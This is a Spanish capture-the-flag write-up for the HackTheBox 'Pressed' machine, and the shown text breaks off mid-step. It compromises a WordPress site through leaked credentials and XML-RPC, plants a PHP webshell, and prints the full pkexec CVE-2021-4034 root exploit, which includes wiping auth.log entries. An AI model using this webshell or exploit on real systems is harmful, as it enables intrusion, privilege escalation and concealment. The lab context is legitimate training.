HackTheBox - Pressed (hard)
PortScan
➜ nmap sudo nmap -sCV -p80 10.10.11.142 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 11:42 CST
Nmap scan report for 10.10.11.142
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: UHC Jan Finals – New Month, New Boxes
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.9
➜ nmap sudo nmap --script http-enum -p80 10.10.11.142
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 11:46 CST
Nmap scan report for 10.10.11.142
Host is up (0.11s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 5.9
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
Enumeración
-
El escaneo de Nmap solo nos reporta 1 puerto abierto que esta corriendo un servicio
http
y esta usando un gestor de contenido que esWordpress
. -
Si investigamos la versión actual de
Wordpress
es la 6.5 https://www.nexcess.net/blog/wordpress-version/#:~:text=What%20is%20the%20WordPress%20current,site%20editor%20changes%2C%20and%20more.. -
Esta es la pagina web.
- Si damos click en el texto subrayado
UHC January Finals Under Way
se nos muestra lo siguiente.
- Vamos agregar el subdominio al
/etc/hosts
para ver si cambia algo en la web.
➜ nmap sudo echo "10.10.11.142 pressed.htb" | sudo tee -a /etc/hosts
10.10.11.142 pressed.htb
- Pero vemos lo mismo.
- Vamos a llenar esa información para ver que es lo que pasa.
- Bueno al principio no paso nada pero cuando volví a hacerlo me salió este mensaje.
- Sabemos que existen las ruta típicas de
WordPress
pero vamos a hacerFuzzing
para ver si encontramos otra ruta interesante.
➜ nmap dirsearch -u http://10.10.11.142
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/miguel/Hackthebox/Pressed/nmap/reports/http_10.10.11.142/_24-06-24_12-01-54.txt
Target: http://10.10.11.142/
[12:01:54] Starting:
[12:02:04] 403 - 277B - /.ht_wsr.txt
[12:02:05] 403 - 277B - /.htaccess.sample
[12:02:05] 403 - 277B - /.htaccess_extra
[12:02:05] 403 - 277B - /.htaccess.orig
[12:02:05] 403 - 277B - /.htaccess_orig
[12:02:05] 403 - 277B - /.htaccess.save
[12:02:05] 403 - 277B - /.htaccessBAK
[12:02:05] 403 - 277B - /.htaccess.bak1
[12:02:05] 403 - 277B - /.htaccessOLD
[12:02:05] 403 - 277B - /.htaccessOLD2
[12:02:05] 403 - 277B - /.htaccess_sc
[12:02:05] 403 - 277B - /.httr-oauth
[12:02:05] 403 - 277B - /.html
[12:02:05] 403 - 277B - /.htm
[12:02:05] 403 - 277B - /.htpasswd_test
[12:02:05] 403 - 277B - /.htpasswds
[12:02:11] 403 - 277B - /.php
[12:02:18] 200 - 4KB - /.wp-config.php.swp
[12:04:18] 301 - 0B - /index.php -> http://10.10.11.142/
[12:04:19] 404 - 21KB - /index.php/login/
[12:04:29] 200 - 7KB - /license.txt
[12:05:19] 200 - 3KB - /readme.html
[12:05:26] 403 - 277B - /server-status
-
Vemos que en una ruta hay un archivo
.swp
https://filext.com/es/extension-de-archivo/SWP. -
Si enumeramos con
wpscan
vemos que ya nos dice que elXML-RPC
esta activado.
➜ nmap wpscan --url http://10.10.11.142
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.11.142/ [10.10.11.142]
[+] Started: Mon Jun 24 12:40:59 2024
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.11.142/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.10.11.142/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://10.10.11.142/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.11.142/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.11.142/index.php/feed/, <generator>https://wordpress.org/?v=5.9</generator>
| - http://10.10.11.142/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.9</generator>
[+] WordPress theme in use: retrogeek
| Location: http://10.10.11.142/wp-content/themes/retrogeek/
| Last Updated: 2024-04-26T00:00:00.000Z
| Readme: http://10.10.11.142/wp-content/themes/retrogeek/README.txt
| [!] The version is out of date, the latest version is 0.7
| Style URL: http://10.10.11.142/wp-content/themes/retrogeek/style.css?ver=42
| Style Name: RetroGeek
| Style URI: https://tuxlog.de/retrogeek/
| Description: A lightweight, minimal, fast and geeky retro theme remembering the good old terminal times...
| Author: tuxlog
| Author URI: https://tuxlog.de/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 0.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.11.142/wp-content/themes/retrogeek/style.css?ver=42, Match: 'Version: 0.5'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:04 <=====================================================> (137 / 137) 100.00% Time: 00:00:04
[i] Config Backup(s) Identified:
[!] http://10.10.11.142/wp-config.php.bak
| Found By: Direct Access (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Jun 24 12:41:23 2024
[+] Requests Done: 173
[+] Cached Requests: 5
[+] Data Sent: 44.019 KB
[+] Data Received: 126.531 KB
[+] Memory used: 253.621 MB
[+] Elapsed time: 00:00:23
- Vemos un
wp-config.php.bak
.
➜ nmap wget http://10.10.11.142/wp-config.php.bak
--2024-06-24 12:42:38-- http://10.10.11.142/wp-config.php.bak
Connecting to 10.10.11.142:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3194 (3.1K) [application/x-trash]
Saving to: ‘wp-config.php.bak’
wp-config.php.bak 100%[==========================================================>] 3.12K --.-KB/s in 0.005s
2024-06-24 12:42:38 (638 KB/s) - ‘wp-config.php.bak’ saved [3194/3194]
- Vemos credenciales.
➜ nmap cat wp-config.php.bak
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'admin' );
/** Database password */
define( 'DB_PASSWORD', 'uhc-jan-finals-2021' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '3MYXll40,8gfj_jX4!3J(278f1(SGEZ+v]#w]Bu<PrstLLHEZig,MJB#t E2pU2t' );
define( 'SECURE_AUTH_KEY', 'QPkQ%%h&5$3$C;Z}2N!LKz.O 57i2U.582Gy{C=$XV_(jJz~3gC=*nKP//{v{?n<' );
define( 'LOGGED_IN_KEY', 'rp}RE/3-_3OF%./6PH` 1zbCy#H22NRH,ETR(c2*Qlu&W>lW|::4T[iFx%W|%[hA' );
define( 'NONCE_KEY', '#%s&zIE/mSuvN{+2]^n;21]|u;gmP6!-ihyCn91j{/.KRGbg8}{3C%kZ#$(i&bc-' );
define( 'AUTH_SALT', ',7BVMi:h`][Q/3j8tHN*EjKk,jY|+hm.3OnjYS A$ArIx7B z]WzLJ$Tc7</s`td' );
define( 'SECURE_AUTH_SALT', ']s_RJ,%OLa.}_8wP Qeu9WJUhJ2Zd2I%>T5R#f{8op9:Hn??}7{ZJ*.K.t/{lVl0' );
define( 'LOGGED_IN_SALT', 'wwQj(p&1I8zAK!2lhR[xg.Vt`qeh|2R}HMz?~TuQ9QE*@iy?@*?pDV;[4BL9*n#W' );
define( 'NONCE_SALT', '[Wv%%EDN<b/a_</u|snqMQ q)xPW8GyB4WAw f+1k2|IFbu*7#U(g-# l{Kw n6Z' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
-
admin:uhc-jan-finals-2021
-
Si probamos las credenciales vemos que son incorrectas.
- Si cambiamos de 2021 a 2022 nos muestra esto.
-
Con esto sabemos que la credencial es valida.
-
Podemos enumerar mediante este script
php
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress#xml-rpc.
➜ nmap curl -s -X POST http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
- Hay una ruta llamada
/uploads
pero no hay nada.
-
https://www.hostinger.mx/tutoriales/que-es-xmlrpc-php-wordpress-por-que-desactivarlo/.
-
Vamos a ver si esta activo.
➜ nmap curl -X POST --data "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>htb.get_flag</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
User flag
-
Bueno vemos todos los métodos este es interesante
<value><string>htb.get_flag</string></value>
. -
Podemos ver la
user flag
.
➜ nmap curl -X POST --data "<methodCall><methodName>htb.get_flag</methodName><params></params></methodCall>" http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<string>14a81d1565421c5c1461e1ad9b182b5b
</string>
</value>
</param>
</params>
</methodResponse>
- También podemos enumerar usuarios en otras máquinas donde esto esta activado te puedes hacer un script en
bash
que haga fuerza bruta en caso de que conozcas el nombre de un usuario para saber la contraseña.
➜ nmap curl -X POST --data "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>administrator</value></param><param><value>pass</value></param></params></methodCall>" http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Shell as www-data
-
Desde Python también se puede trabajar con esto.
-
En caso de tener errores tu script debe verse así.
/.local/lib/python3.11/site-packages/wordpress_xmlrpc/base.py
import collections.abc
import sys
from wordpress_xmlrpc.compat import xmlrpc_client, dict_type
from wordpress_xmlrpc.exceptions import ServerConnectionError, UnsupportedXmlrpcMethodError, InvalidCredentialsError, XmlrpcDisabledError
class Client(object):
"""
Connection to a WordPress XML-RPC API endpoint.
To execute XML-RPC methods, pass an instance of an
`XmlrpcMethod`-derived class to `Client`'s `call` method.
"""
def __init__(self, url, username, password, blog_id=0, transport=None):
self.url = url
self.username = username
self.password = password
self.blog_id = blog_id
try:
self.server = xmlrpc_client.ServerProxy(url, allow_none=True, transport=transport)
self.supported_methods = self.server.mt.supportedMethods()
except xmlrpc_client.ProtocolError:
e = sys.exc_info()[1]
raise ServerConnectionError(repr(e))
def call(self, method):
if method.method_name not in self.supported_methods:
raise UnsupportedXmlrpcMethodError(method.method_name)
server_method = getattr(self.server, method.method_name)
args = method.get_args(self)
try:
raw_result = server_method(*args)
except xmlrpc_client.Fault:
e = sys.exc_info()[1]
if e.faultCode == 403:
raise InvalidCredentialsError(e.faultString)
elif e.faultCode == 405:
raise XmlrpcDisabledError(e.faultString)
else:
raise
return method.process_result(raw_result)
class XmlrpcMethod(object):
"""
Base class for XML-RPC methods.
Child classes can override methods and properties to customize behavior:
Properties:
* `method_name`: XML-RPC method name (e.g., 'wp.getUserInfo')
* `method_args`: Tuple of method-specific required parameters
* `optional_args`: Tuple of method-specific optional parameters
* `results_class`: Python class which will convert an XML-RPC response dict into an object
"""
method_name = None
method_args = tuple()
optional_args = tuple()
results_class = None
def __init__(self, *args, **kwargs):
if self.method_args or self.optional_args:
if self.optional_args:
max_num_args = len(self.method_args) + len(self.optional_args)
if not (len(self.method_args) <= len(args) <= max_num_args):
raise ValueError("Invalid number of parameters to %s" % self.method_name)
else:
if len(args) != len(self.method_args):
raise ValueError("Invalid number of parameters to %s" % self.method_name)
for i, arg_name in enumerate(self.method_args):
setattr(self, arg_name, args[i])
if self.optional_args:
for i, arg_name in enumerate(self.optional_args, start=len(self.method_args)):
if i >= len(args):
break
setattr(self, arg_name, args[i])
if 'results_class' in kwargs:
self.results_class = kwargs['results_class']
def default_args(self, client):
"""
Builds set of method-non-specific arguments.
"""
return tuple()
def get_args(self, client):
"""
Builds final set of XML-RPC method arguments based on
the method's arguments, any default arguments, and their
defined respective ordering.
"""
default_args = self.default_args(client)
if self.method_args or self.optional_args:
optional_args = getattr(self, 'optional_args', tuple())
args = []
for arg in (self.method_args + optional_args):
if hasattr(self, arg):
obj = getattr(self, arg)
if hasattr(obj, 'struct'):
args.append(obj.struct)
else:
args.append(obj)
args = list(default_args) + args
else:
args = default_args
return args
def process_result(self, raw_result):
"""
Performs actions on the raw result from the XML-RPC response.
If a `results_class` is defined, the response will be converted
into one or more object instances of that class.
"""
if self.results_class and raw_result:
if isinstance(raw_result, dict_type):
return self.results_class(raw_result)
elif isinstance(raw_result, collections.abc.Iterable):
return [self.results_class(result) for result in raw_result]
return raw_result
class AnonymousMethod(XmlrpcMethod):
"""
An XML-RPC method for which no authentication is required.
"""
pass
class AuthenticatedMethod(XmlrpcMethod):
"""
An XML-RPC method for which user authentication is required.
Blog ID, username and password details will be passed from
the `Client` instance to the method call.
"""
def default_args(self, client):
return (client.blog_id, client.username, client.password)
➜ nmap pip3 install python-wordpress-xmlrpc
- Vamos a importar Client para poder conectarnos.
➜ nmap python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from wordpress_xmlrpc import Client
- Si queremos usar un método como el posts para los posts del
wordpress
lo hacemos de la siguiente forma.
>>> from wordpress_xmlrpc.methods import posts
- Ahora nos autenticamos.
>>> client = Client("http://10.10.11.142/xmlrpc.php", "admin", "uhc-jan-finals-2022")
- Ahora podemos ver los posts.
>>> post = client.call(posts.GetPosts())
>>> post
[<WordPressPost: b'UHC January Finals Under Way'>]
- Podemos analizar el contenido.
>>> post[0].content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway! After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian. Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
- Vemos una cadena en base64 vamos a hacer un
decode
para ver que es.
➜ ~ echo "JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=" | base64 -d; echo
%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3E
- Nos da data en
url-encode
.
➜ ~ php --interactive
Interactive shell
php > echo urldecode("%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3E");
<?php echo(file_get_contents('/var/www/html/output.log')); ?>
-
Al parecer la parte que vimos del
User Agent
viene del scriptoutput.log
. -
Estamos como el administrador así que podemos cambiar el contenido del archivo.
➜ ~ cat data
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
- Pero tenemos que representarla en
base64
.
➜ ~ base64 -w 0 data; echo
PD9waHAKCWVjaG8gIjxwcmU+IiAuIHNoZWxsX2V4ZWMoJF9SRVFVRVNUWydjbWQnXSkgLiAiPC9wcmU+IjsKPz4K
-
Tendríamos que cambiar el contenido para meter ese allí.
-
Algo que podemos hacer es crearnos una variable que se iguale a todo los atributos del post existente.
>>> new_post = post[0]
>>> new_post
<WordPressPost: b'UHC January Finals Under Way'>
- Tiene lo mismo.
>>> new_post.content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway! After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian. Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
- Vamos a cambiar el contenido solo la parte de base64.
>>> new_post.content = '<!-- wp:paragraph -->\n<p>The UHC January Finals are underway! After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian. Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"PD9waHAKCWVjaG8gIjxwcmU+IiAuIHNoZWxsX2V4ZWMoJF9SRVFVRVNUWydjbWQnXSkgLiAiPC9wcmU+IjsKPz4K","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
- Ahora para editar el post real vamos a hacer lo siguiente.
>>> client.call(posts.EditPost(new_post.id, new_post))
True
- Si recargamos la web desapareció la parte del
user agent
.
- Podemos ejecutar comandos.
-
Bueno esta máquina tiene
IPtables
por detrás y no podemos enviarnos una reverseshell
por ningún protocolo. -
Tenemos que crear una
webshell
.
➜ wordpress_xmlrpc cat script.sh
#!/bin/bash
function ctrl_c(){
echo -e "\n\n [+]Saliendo .... \n"
exit 1
}
#Ctrl + c
trap ctrl_c INT
main_url="http://pressed.htb/index.php/2022/01/28/hello-world/?cmd="
while [ "$command" != "exit" ]; do
echo -n "$~ " && read -r command
command="$(echo $command | tr ' ' '+')"
curl -s -X GET "$main_url$command" | grep "<pre>" -A 100 | grep "</pre>" -B 100 | sed 's/<pre>//' | sed 's/<\/pre>//' | sed 's/shell//'
done
- Podemos ejecutar comandos.
➜ wordpress_xmlrpc ./script.sh
$~ whoami
www-data
$~ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$~ hostname -I
10.10.11.142
Privilege Escalation
- Podemos ver la
flag
también desde aquí.
$~ ls -l /home/htb/user.txt
-rw-r--r-- 1 root root 33 Jun 24 21:36 /home/htb/user.txt
$~ cat /home/htb/user.txt
14a81d1565421c5c1461e1ad9b182b5b
- No podemos cambiar de ruta por que no estamos dentro del sistema estamos desde fuera ejecutando comandos y como el script esta en la ruta
/var/www/html
por eso solo podemos quedarnos allí.
$~ pwd
cd/var/www/html
$~ cd ..
$~ pwd
/var/www/html
- Podemos ir hacia atrás con este comando.
$~ cd ../ %26%26 pwd
/var/www
- El
pkexec
esSUID
.
$~ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 23440 Jul 14 2021 /usr/bin/pkexec
- Para poder explotarlo desde fuera vamos a necesitar el siguiente script en
bash
. - https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.sh
- Podemos ejecutar un id para ver si estamos como root.
➜ content cat pkwner.sh
#!/bin/bash
echo "██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ "
echo "██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗"
echo "██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝"
echo "██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗"
echo "██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║"
echo "╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝"
echo "CVE-2021-4034 PoC by Kim Schulz"
# shell poc by Kim Schulz
echo "[+] Setting up environment..."
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./pkwner'
chmod a+x 'GCONV_PATH=./pkwner'
mkdir -p pkwner
echo "module UTF-8// PKWNER// pkwner 2" > pkwner/gconv-modules
cat > pkwner/pkwner.c <<- EOM
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
printf("hello");
setuid(0); setgid(0);
seteuid(0); setegid(0);
system("PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin/:/usr/local/sbin;"
"rm -rf 'GCONV_PATH=.' 'pkwner';"
"cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat /tmp/al >/var/log/auth.log;"
"id");
exit(0);
}
EOM
cat > pkwner/exec.c <<- EOM
#include <stdlib.h>
#include <unistd.h>
int main(){
char *env[] = {"pkwner", "PATH=GCONV_PATH=.", "CHARSET=PKWNER",
"SHELL=pkwner", NULL};
execve("/usr/bin/pkexec", (char *[]){NULL}, env);
}
EOM
echo "[+] Build offensive gconv shared module..."
gcc -fPIC -shared -o pkwner/pkwner.so pkwner/pkwner.c
echo "[+] Build mini executor..."
gcc -o pkwner/executor pkwner/exec.c
# export PATH="GCONV_PATH=."
# export CHARSET="PKWNER"
#export SHELL=pkwner
PATH='GCONV_PATH=.' ./pkwner/executor
echo "[+] Nice Job"
- Vamos a subirlo a la máquina desde el python3 interactivo.
>>> from wordpress_xmlrpc.methods import media
>>> with open("pkwner.sh", "r") as f:
... filename = f.read()
...
>>> filename
'#!/bin/bash\necho "██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ "\necho "██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗"\necho "██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝"\necho "██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗"\necho "██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║"\necho "╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝"\necho "CVE-2021-4034 PoC by Kim Schulz"\n# shell poc by Kim Schulz\necho "[+] Setting up environment..."\nmkdir -p \'GCONV_PATH=.\'\ntouch \'GCONV_PATH=./pkwner\'\nchmod a+x \'GCONV_PATH=./pkwner\'\nmkdir -p pkwner\necho "module UTF-8// PKWNER// pkwner 2" > pkwner/gconv-modules\ncat > pkwner/pkwner.c <<- EOM\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\nvoid gconv() {}\nvoid gconv_init() {\n printf("hello");\n setuid(0); setgid(0);\n\tseteuid(0); setegid(0);\n system("PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin/:/usr/local/sbin;"\n "rm -rf \'GCONV_PATH=.\' \'pkwner\';"\n "cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat 